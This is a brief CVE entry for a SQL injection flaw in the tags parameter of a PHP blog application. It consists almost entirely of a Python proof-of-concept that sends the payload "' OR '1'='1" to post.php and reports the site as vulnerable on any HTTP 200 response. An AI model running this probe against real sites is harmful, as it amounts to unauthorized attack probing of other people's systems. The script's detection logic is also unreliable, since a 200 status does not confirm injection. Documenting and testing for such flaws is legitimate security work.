CVE-2026-6202 Easy Blog Site SQL注入漏洞

import requests def check_sqli(url): """Check for SQL Injection vulnerability in tags parameter.""" target = f"{url}/post.php" # Standard SQL injection test payload payload = "test' OR '1'='1" data = { "tags": payload } try: response = requests.post(target, data=data, timeout=5) # Analyze response content or status to confirm vulnerability if response.status_code == 200: print(f"[+] Potential SQL Injection found at {target}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target_url = "http://127.0.0.1/easy-blog-site" check_sqli(target_url)